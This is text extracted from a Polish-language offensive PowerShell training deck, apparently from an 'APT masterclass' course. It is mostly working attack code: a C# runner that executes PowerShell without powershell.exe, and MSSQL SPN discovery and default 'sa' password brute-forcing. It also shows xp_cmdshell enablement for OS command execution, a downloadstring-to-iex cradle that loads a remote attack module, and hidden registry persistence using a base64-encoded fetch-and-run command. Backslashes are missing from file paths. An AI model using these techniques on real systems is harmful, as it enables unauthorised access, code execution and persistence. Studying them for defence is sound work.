  • 29. Rozdział XVIII: Powershell bez powershella // SharpPS.cs using System.Management.Automation.Runspaces; public class SharpPS { public static void Main(string[] args) { string cmd = System.IO.File.ReadAllText(@args[0]); RunspaceConfiguration cfg = RunspaceConfiguration.Create(); Runspace spc = RunspaceFactory.CreateRunspace(cfg); spc.Open(); Pipeline pipeline = spc.CreatePipeline(); pipeline.Commands.AddScript(cmd); pipeline.Invoke(); } } C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe /r:C:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e 35System.Management.Automation.dll /unsafe /platform:anycpu /out:SharpPS.exe SharpPS.cs PS C:Usersdrg> .SharpPS.exe .payload.ps1 https://lolbas-project.github.io/
  • 30. Rozdział XIX: C# z Powershella $source=@" using System.Windows.Forms; namespace Foo { public static class Bar { public static void Hello() { MessageBox.Show("Hello World"); } } } "@ Add-Type -TypeDefinition $source -ReferencedAssemblies System.Windows.Forms [Foo.Bar]::Hello()
  • 32. Rozdział XX: Powershellem przez MSSQL # Poproś o listę zarejestrowanych usług MSSQL w AD $spns = @() $s = [ADSISearcher]([ADSI]"") $s.filter = "(servicePrincipalName=MSSQLSvc/*)" $s.FindAll() | % { $_.GetDirectoryEntry().servicePrincipalName -match "MSSQL"|% { $spns += $_.Split("/")[1] } } $spns C:Usersdrg> setspn.exe -Q MSSQLSvc/* MSSQL_01 https://aptm.in/mssql3 PS C:Usersdrg> (setspn -Q MSSQLSvc/*) -match "MSSQL" | % { $_.Trim() -Replace ':1433','' } | Get-Unique
  • 33. Rozdział XX: Powershellem przez MSSQL # Sprawdź czy można się zalogować na podane credentiale $_user = "sa" $_pass = "Comaarch!2011" $_host = "172.16.0.10" $Connection = New-Object System.Data.SQLClient.SQLConnection $Connection.ConnectionString = "Data Source=$_host;Persist Security Info=True;User ID=$_user;Password=$_pass" try { $Connection.Open() echo "[OK] $_user@$_host - $_pass" } catch [Exception] { echo "[ERR] $_user@$_host - $_pass" } MSSQL_01 https://aptm.in/mssql1 https://www.google.com/search?q=mssql+sa+domyślne+hasło+filetype:pdf
  • 38. Rozdział XX: Powershellem przez MSSQL # Uruchom polecenie w w systemie operacyjnych $_user = "sa" $_pass = "P@ssw0rd" $_host = "172.16.0.15" $_query = "exec xp_cmdshell 'whoami'" $Connection = New-Object System.Data.SQLClient.SQLConnection $Connection.ConnectionString = "Data Source=$_host;Persist Security Info=True;User ID=$_user;Password=$_pass" $Connection.Open() $command = $connection.CreateCommand() $command.CommandText = $_query $result = $command.ExecuteReader() $table = new-object "System.Data.DataTable" $table.Load($result) echo $table MSSQL_01 https://aptm.in/mssql2 $_query = @' exec sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; '@
  • 39. Rozdział XX: Powershellem przez MSSQL PS C:> (new-object net.webclient).downloadstring("https://raw.githubusercontent.com/aptmasterclass/ powershell-kungfu/master/mssql/MSSQLKungFu.psm1") | iex PS C:> Invoke-MSSQLSPNSearchBruteAndExec | ft Host User Password Command Output ---- ---- -------- ------- ------ 2012r2.alphacorp.ad sa P@ssw0rd whoami nt authoritysyst... piotrpc.alphacorp.ad sa Comarch!2011 whoami nt authoritysyst... PS C:> MSSQL_01 https://aptm.in/mssql3
  • 40. Rozdział XXI: Niezapomnianym być Registry Value: Available memory (latest format)1 MB (standard format) $path="HKCU:SoftwareMicrosoftWindows" $name="Signature" $value="aQB3AHIAIABoAHQAdABwAHMAOgAvAC8AYQB wAHQAbQBjAC4AcABsAC8AYwBhAGwAYwB8AGkAZQB4 AA==" New-ItemProperty -Path $path -Name $name -Value $value -PropertyType String -Force powershell -w h -enc (gp HKCU:SoftwareMicrosoftWindows).Signature